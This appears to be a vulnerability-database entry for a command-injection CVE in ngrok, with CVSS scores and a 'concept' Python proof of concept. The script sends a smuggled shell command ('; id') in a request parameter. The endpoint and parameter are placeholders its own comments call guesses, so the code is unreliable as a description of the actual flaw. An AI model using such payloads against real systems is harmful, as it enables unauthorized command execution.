ngrok v4.3.3 and 5.0.0-beta.2 is vulnerable to Command Injection.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
ngrok v4.3.3
ngrok v5.0.0-beta.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2025-57282
# This script demonstrates the command injection vulnerability in ngrok.
# An attacker crafts a payload that includes shell metacharacters to execute arbitrary commands.
import requests
target_url = "http://target-ngrok-server:4040/api/vulnerable/endpoint"
# The payload attempts to execute 'id' command using a semicolon separator
# Actual vulnerable parameter may vary based on the specific ngrok implementation context
malicious_payload = "normal_input; id"
params = {
"config": malicious_payload
}
try:
print(f"[*] Sending payload to {target_url}...")
response = requests.get(target_url, params=params, timeout=5)
if response.status_code == 200:
print("[+] Request sent successfully. Check server for command execution.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")